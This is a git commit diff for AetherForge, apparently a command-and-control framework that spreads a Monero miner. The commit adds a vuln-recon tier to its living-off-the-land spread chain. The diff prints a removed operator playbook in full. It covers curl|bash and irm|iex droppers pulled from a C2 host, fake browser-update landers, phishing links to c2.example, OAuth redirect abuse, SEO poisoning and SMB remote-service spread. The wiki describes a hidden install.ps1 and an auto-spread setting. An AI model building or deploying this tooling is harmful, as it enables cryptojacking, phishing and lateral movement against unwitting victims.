Cleanup after LOTL: sync vuln_recon as the tenth tier across server, agent, and UI; tighten gitignore and trim PROBLEMS; dedupe spread docs into a single canonical stub.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 00:05:09 -07:00
parent 3938bcd1c5
commit a191fcedfd
13 changed files with 31 additions and 150 deletions

7
.gitignore vendored
View File

@@ -24,6 +24,13 @@
/server/webroot/ /server/webroot/
/server/web/test-results/ /server/web/test-results/
/server/web/playwright-report/ /server/web/playwright-report/
/server/web/node_modules/.vite/
# E2E / local test data dirs (never commit)
/data-e2e-*/
# Temp downloads
*.crdownload
# IDE / OS # IDE / OS
.idea/ .idea/

View File

@@ -111,12 +111,6 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
| Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. | | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. |
| Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. | | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. |
## UX consolidation (2026-06-06)
| Item | Notes |
|------|-------|
| **Fleet Roster → Crucible** | `/agents` redirects to `/crucible`; nav Fleet Roster removed. Filters, bulk actions, notes/tags, and roster delete live in Crucible only. |
## Product decisions (document-only) ## Product decisions (document-only)
| Topic | Notes | | Topic | Notes |

View File

@@ -12,7 +12,7 @@ import (
) )
var ( var (
// ErrTierNotImplemented is returned for tiers awaiting parallel agent wiring. // ErrTierNotImplemented is returned when a tier has no runtime hook wired.
ErrTierNotImplemented = errors.New("tier not implemented") ErrTierNotImplemented = errors.New("tier not implemented")
// ErrTierChainExhausted is returned when every tier in the onion failed. // ErrTierChainExhausted is returned when every tier in the onion failed.
ErrTierChainExhausted = errors.New("LOTL tier chain exhausted") ErrTierChainExhausted = errors.New("LOTL tier chain exhausted")

View File

@@ -1,137 +1,9 @@
# Web-Mediated Spread Techniques (Research Summary) # Web-Mediated Spread Techniques
> **Operator playbook (tabbed HTML):** [`/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html) on a running command deck. Emberwake links there by technique tab. This file is the research matrix source. Canonical copy (served at `/docs/SPREAD_TECHNIQUES.md` on a running command deck):
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **20242026**. **[`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)**
--- Tabbed operator playbook (HTML): [`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)
## What Does NOT Work Anymore (Be Honest) Edit the public docs files above — this stub avoids drifting duplicates in `docs/`.
| Technique | Status | Why |
|-----------|--------|-----|
| **Silent browser RCE** (visit page → shell, no exploit) | **Dead** | Modern Chromium sandboxes, site isolation, removed NPAPI/Flash/Java, aggressive patching. [MITRE T1189](https://attack.mitre.org/techniques/T1189/) still documents drive-by, but commodity ops need **0-day/n-day browser or renderer bugs** (e.g. [CVE-2025-49713](https://zeropath.com/blog/microsoft-edge-cve-2025-49713-type-confusion) — still requires visiting a malicious page and is patched quickly). |
| **Auto-run from Downloads folder** | **Dead** | Chrome/Edge require **user gesture** for dangerous types; SmartScreen + MoTW on `.exe`, `.msi`, `.js`, `.ps1`, `.bat`, `.zip`. [Microsoft download policy](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions), [Chrome DownloadRestrictions](https://support.google.com/chrome/a/answer/7579271). |
| **Flash/Java plugin drive-by** | **Dead** | Plugins removed or click-to-play extinct. |
| **Unauthenticated `curl \| bash` on cautious admins** | **Hard** | Server can fingerprint pipe-to-shell timing and serve benign vs malicious scripts ([curlbash_detect](https://github.com/Stijn-K/curlbash_detect), [idontplaydarts](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)). Mitigation: download → inspect → run. |
| **CRX sideloading via normal download** | **Dead** | `.crx` blocked under DownloadRestrictions; Web Store policy blocks casual sideload. Supply-chain via **compromised extension updates** is the modern path ([GitLab tech note](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)). |
**Still works with friction:** User must **click download + run** (or run a one-liner they pasted). MoTW bypasses (LNK tricks, [FileFix 2.0](https://cybernoz.com/filefix-attack-exploits-windows-browser-features-to-bypass-mark-of-the-web-protection/), [7-Zip MoTW CVE-2025-0411](https://asec.ahnlab.com/en/87091/)) are **patch-cat-and-mouse**, not reliable baselines.
---
## Technique Matrix
### Owned site (you control origin)
| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. |
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
| **JS redirect / referrer gate** (search → your lander) | **Medium** | MedHigh (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
| **Fusion media download** — “codec pack” / movie bundle | **Medium** | Med (large ZIP, SmartScreen) | **Has:** movie/prep fusion ZIP, disguised runner names, spread-kit scripts inside universal bundles. |
| **Service worker persistence** (AiTM / proxy) | **Hard** | Med | **Needs:** full PWA stack; feasible for **credential phishing**, not binary drop without user download. [EvilWorker](https://github.com/Ahaz1701/EvilWorker), [Akamai SW abuse](https://www.akamai.com/blog/security/abusing-the-service-workers-api). |
| **WASM obfuscated redirect** | **Hard** | Med | **Needs:** custom WASM module; evades some static JS scanners, not browser API monitors ([arxiv WASM study](https://arxiv.org/pdf/2508.21219)). Still ends at **user-run binary**. |
| **Waterhole on owned niche site** | **Easy** (if you own it) | LowMed on first party | Same as dropper landing + organic traffic; [MITRE T1189](https://attack.mitre.org/techniques/T1189/). |
### Third-party platforms
| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **GitHub Releases / raw CDN** | **Easy** | Med (SmartScreen, GitHub abuse reports) | **Has:** build artifacts; **Needs:** separate release pipeline, not C2 host. [Microsoft malvertising→GitHub](https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/). |
| **S3 / Cloudflare Pages / R2 / workers.dev** | **Easy** | MedHigh (platform abuse ML) | **Needs:** static publisher ZIP deployed off C2. [Fortra Pages abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing), [Cofense Cloudflare abuse](https://cofense.com/blog/how-cloudflare-services-are-abused-for-credential-theft-and-malware-distribution). |
| **npm / PyPI / Docker Hub supply chain** | **Hard** | High (registry scanning, MFA) | **Needs:** wholly separate packaging pipeline; not in forge today. [Shai-Hulud](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/), [GitGuardian 48h campaigns](https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/). |
| **WordPress plugin/theme compromise** | **Hard** (unless you own plugin) | High | **Needs:** PHP injector + redirect to your dropper URL. [EssentialPlugin 2026](https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/), [CVE-2024-6297](https://cve.circl.lu/vuln/cve-2024-6297). |
| **Compromised shared hosting → web shell** | **Hard** | High | **Needs:** nothing in forge; lateral movement is post-compromise ([MITRE T1505.003](https://attack.mitre.org/techniques/T1505/003/), [Sucuri cross-contamination](https://blog.sucuri.net/2024/01/dangers-of-lateral-movement-website-cross-contamination.html)). |
| **Browser extension sideload / store takeover** | **Dead** (sideload) / **Hard** (store) | High | Extension **updates** via stolen publisher OAuth ([BleepingComputer 35 extensions](https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/)). Not mapped to forge binaries. |
### Social engineering funnel (email / ads → site → file)
| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **Email → link → owned lander → download** | **Easy** | Med (email gateway) | **Has:** campaign `?c=` on `/get` and public download; agent stores `campaign` on connect. |
| **OAuth redirect abuse** (`prompt=none` → attacker redirect URI → `/download`) | **Medium** | MedHigh | **Needs:** Entra/Google OAuth app + redirect HTML; payload can point to `install.ps1` or ZIP. [Microsoft 2026](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/), [Proofpoint TA416](https://www.proofpoint.com/us/blog/threat-insight/id-come-running-back-eu-again-ta416-resumes-european-government-espionage). |
| **SEO poisoning / malvertising** | **Medium** | High (ad review, cloaking detection) | **Needs:** ad account + cloaking + lander; payload can be fusion ZIP or spread-kit. [Malwarebytes utility ads 2024](https://www.malwarebytes.com/blog/threat-intel/2024/10/large-scale-google-ads-campaign-targets-utility-software), [MSIX SEO poisoning](https://www.precursorsecurity.com/blog/seo-poisoning-delivering-msix-installer-malware). |
| **IFRAME / HTML smuggling** | **Medium** | Med | **Needs:** client-side blob builder; still requires user to run extracted file. Often chained with OAuth redirect above. |
### Server-specific (endpoints: Linux/macOS/Windows servers)
| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **`curl -sL host/install.sh \| bash`** | **Easy** | Med (FIM, auditd, EDR) | **Has:** full pipeline; `install.sh``/get?os=linux` + spread-kit unzip path. |
| **`irm \| iex` on Windows Server** | **Easy** | MedHigh (AMSI, Constrained Language) | **Has:** `install.ps1`; hidden `cmd /c Deploy.bat` for spread-kit ZIP. |
| **Trojanized “monitoring agent” docs** | **Easy** | LowMed if first-party domain | Same dropper; pin worker with `?pin=` for stable fleet profile. |
| **Docker `curl \| bash` in README** | **Medium** | High | **Needs:** separate Docker image story; agent has Docker E2E path but not publish pipeline. |
| **Web shell → curl dropper** | **Medium** (post-compromise) | High | Operator runs `curl` from shell; **Has:** dropper endpoints unauthenticated by design ([API-D09](PROBLEMS.md)). |
---
## AetherForge Stack: Has vs Needs
### Already built
- **Dropper URL:** `GET /get`, `GET /install.sh`, `GET /install.ps1` — UA platform detect, `?pin={build_id}`, `?c={campaign}` ([`dropper_handler.go`](../server/internal/api/dropper_handler.go))
- **Forge outputs:** single-platform exe, **Spread Kit** ZIP (`Deploy.bat`, `deploy.sh`, `Start.command`), **Fusion** media packages
- **Public downloads:** `GET /api/v1/public/download/{id}?c=` with campaign logging
- **Campaign analytics:** `campaign_hits` table with `event_type`, `GET /api/v1/emberwake/war-room?days=7` (first_beacon, mining stages), agent `campaign` field on register
- **Campaign War Room UI:** Emberwake funnel board + stats table toggle; 15s poll + WS `emberwake_war_room`
- **Build Manager UI:** copies `iex (irm '…/install.ps1')`, pin/active dropper
- **Spread funnel dashboard:** install connects by build (7d)
### In progress / gaps
| Gap | Emberwake / web-publisher role |
|-----|-------------------------------|
| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
| No **OAuth redirect** helper | Entra app registration docs only |
| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |
---
## Five Recommended Plays — Sites You Own
Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
1. **First-party install docs page (servers)**
Host `install.sh` instructions on your domain: `curl -sL https://your.site/install.sh | bash` and PowerShell `irm|iex` for Win admins. Use `?pin=` for a fixed forge profile and `?c=docs` for attribution. Lowest friction for **Linux fleet / VPS** targets; maps 1:1 to existing dropper.
2. **Spread-kit web publisher (static lander)**
Ship the missing `spread-kit-web-publisher` template: single HTML “Download for your OS” button calling `/get?os=…&c=landing`. Deploy to **Cloudflare Pages** or your origin; keep C2 on separate host. Completes the Emberwake export path already wired in API.
3. **Fusion bundle as “media/tool download”**
Use movie or prep fusion ZIP on a themed site (e.g. “codec pack”, “portable tool”). Universal bundle auto-picks `Deploy.bat` / `deploy.sh`. Higher size; pair with **code signing** (`sign_build`) to reduce SmartScreen friction.
4. **Campaign-tagged fake-update page (endpoints)**
Clone the **SocGholish** pattern at reduced scope: browser-specific “update required” → ZIP with spread-kit or `Update.js`-style launcher equivalent (`Deploy.vbs`). Track `?c=update-chrome`. High detection risk; use only in controlled purple-team exercises.
5. **Email → owned lander → pinned build**
Simple HTML on your site; link `https://c2.example/get?pin={id}&c=phish1` or public artifact URL. Chain with **Emberwake campaign stats** to measure fetch vs install (agent connect). No third-party CDN required.
---
## LOTL staging & LAN spread (agent commands)
| Technique | LOLBins | AetherForge mapping |
|-----------|---------|---------------------|
| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:** `stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). |
| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:** `spread_smb_unc``sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. |
---
## Key References
- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)
- [MITRE T1505.003 Web Shell](https://attack.mitre.org/techniques/T1505/003/)
- [MITRE T1608.006 SEO Poisoning](https://attack.mitre.org/techniques/T1608/006/)
- [SocGholish / FakeUpdates (Trend Micro 2025)](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html)
- [Microsoft OAuth redirect abuse (Mar 2026)](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/)
- [Edge/Chrome download security](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions)
- [curl|bash detection](https://github.com/Stijn-K/curlbash_detect)
- [Cloudflare Pages phishing abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing)
- [npm Shai-Hulud supply chain](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/)
---
*Generated from open-source threat reporting and AetherForge codebase audit. No commit.*

View File

@@ -257,6 +257,7 @@ func DefaultConfig() *Config {
SignTimestampURL: "http://timestamp.digicert.com", SignTimestampURL: "http://timestamp.digicert.com",
PublicBuildsLatestN: 3, PublicBuildsLatestN: 3,
LotlOnionTiers: []string{ LotlOnionTiers: []string{
"vuln_recon",
"docker", "wsl", "powershell", "dotnet", "bits_curl", "docker", "wsl", "powershell", "dotnet", "bits_curl",
"smb", "winrm", "linux", "gpo", "smb", "winrm", "linux", "gpo",
}, },

View File

@@ -4,6 +4,7 @@ import "strings"
// DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync. // DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync.
var DefaultLotlOnionTiers = []string{ var DefaultLotlOnionTiers = []string{
"vuln_recon",
"docker", "docker",
"wsl", "wsl",
"powershell", "powershell",
@@ -18,6 +19,7 @@ var DefaultLotlOnionTiers = []string{
// NormalizeLotlOnionTiers filters tier ids for forge + server config. // NormalizeLotlOnionTiers filters tier ids for forge + server config.
func NormalizeLotlOnionTiers(raw []string) []string { func NormalizeLotlOnionTiers(raw []string) []string {
allowed := map[string]struct{}{ allowed := map[string]struct{}{
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
} }

View File

@@ -4,7 +4,7 @@ import "testing"
func TestNormalizeLotlOnionTiers(t *testing.T) { func TestNormalizeLotlOnionTiers(t *testing.T) {
got := NormalizeLotlOnionTiers(nil) got := NormalizeLotlOnionTiers(nil)
if len(got) != 9 || got[0] != "docker" || got[8] != "gpo" { if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" {
t.Fatalf("defaults: %v", got) t.Fatalf("defaults: %v", got)
} }
} }
@@ -25,7 +25,7 @@ func TestApplyLotlOnionPreset(t *testing.T) {
if !req.AutoSpread || !req.ShareSpread || req.SpreadKit { if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
t.Fatal("spread profile") t.Fatal("spread profile")
} }
if len(req.LotlOnionTiers) != 9 { if len(req.LotlOnionTiers) != 10 {
t.Fatalf("tiers: %v", req.LotlOnionTiers) t.Fatalf("tiers: %v", req.LotlOnionTiers)
} }
} }

View File

@@ -380,7 +380,7 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field), Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
no GPU exe drop, ordered contingencies using living-off-the-land tooling only. no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
</p> </p>
<h4>Default tier order (docker → GPO)</h4> <h4>Default tier order (vuln recon → GPO)</h4>
<p class="form-hint"> <p class="form-hint">
Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
<code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder. <code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
@@ -388,6 +388,7 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<table class="wiki-table"> <table class="wiki-table">
<thead><tr><th>Tier</th><th>One-line</th></tr></thead> <thead><tr><th>Tier</th><th>One-line</th></tr></thead>
<tbody> <tbody>
<tr id="lotl-tier-vuln_recon"><td><strong>vuln recon</strong></td><td>Read-only KEV/CVE/service probe — report-only, no exploit</td></tr>
<tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr> <tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
<tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr> <tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
<tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr> <tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>

View File

@@ -132,8 +132,8 @@ describe('forgeOperationModes', () => {
expect(next.gpu_enabled).toBe(false); expect(next.gpu_enabled).toBe(false);
expect(next.lotl_onion_enabled).toBe(true); expect(next.lotl_onion_enabled).toBe(true);
expect(next.lotl_policy_from_server).toBe(true); expect(next.lotl_policy_from_server).toBe(true);
expect(next.lotl_onion_tiers).toHaveLength(9); expect(next.lotl_onion_tiers).toHaveLength(10);
expect(next.lotl_onion_tiers?.[0]).toBe('docker'); expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
expect(next.spread_kit).toBe(false); expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(true); expect(next.auto_spread).toBe(true);
expect(next.share_spread).toBe(true); expect(next.share_spread).toBe(true);

View File

@@ -2,13 +2,14 @@ import { describe, it, expect } from 'vitest';
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers'; import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
describe('lotlOnionTiers', () => { describe('lotlOnionTiers', () => {
it('lists nine tiers in onion order', () => { it('lists ten tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9); expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo'); expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
}); });
it('documents each tier with a one-line hint', () => { it('documents each tier with a one-line hint', () => {
expect(LOTL_ONION_TIER_DOCS).toHaveLength(9); expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true); expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
}); });
}); });

View File

@@ -1,6 +1,7 @@
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */ /** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
export const DEFAULT_LOTL_ONION_TIERS = [ export const DEFAULT_LOTL_ONION_TIERS = [
'vuln_recon',
'docker', 'docker',
'wsl', 'wsl',
'powershell', 'powershell',
@@ -22,6 +23,7 @@ export interface LotlOnionTierDoc {
} }
export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
{ id: 'vuln_recon', label: 'Vuln Recon', hint: 'Read-only KEV/CVE/service probe — report-only, no exploit' },
{ id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' }, { id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
{ id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' }, { id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
{ id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' }, { id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },

View File

@@ -38,6 +38,7 @@ const TIER_LABELS: Record<string, string> = {
inprocess: 'In-Process', inprocess: 'In-Process',
gpu: 'GPU', gpu: 'GPU',
stratum: 'Stratum', stratum: 'Stratum',
vuln_recon: 'Vuln Recon',
vuln_probe: 'Vuln Recon', vuln_probe: 'Vuln Recon',
}; };

View File

@@ -193,7 +193,7 @@ cd server\web && npx playwright test e2e/crucible-command.spec.ts
| `LotlTierBadge` / `LotlAttemptsList` | Crucible tier badge + attempt list UI | `server/web/src/components/Fleet/LotlTierBadge.test.tsx` | 4 | | `LotlTierBadge` / `LotlAttemptsList` | Crucible tier badge + attempt list UI | `server/web/src/components/Fleet/LotlTierBadge.test.tsx` | 4 |
| `WebSocketProvider` stats_batch LOTL | Dashboard WS applies tier fields | `server/web/src/context/WebSocketProvider.test.tsx` | 4 | | `WebSocketProvider` stats_batch LOTL | Dashboard WS applies tier fields | `server/web/src/context/WebSocketProvider.test.tsx` | 4 |
| Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 | | Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 |
| LOTL onion tier docs | Nine-tier spread chain constants | `server/web/src/help/lotlOnionTiers.test.ts` | 4 | | LOTL onion tier docs | Ten-tier spread chain constants | `server/web/src/help/lotlOnionTiers.test.ts` | 4 |
| Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 | | Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 |
Run LOTL Go tests quickly: Run LOTL Go tests quickly: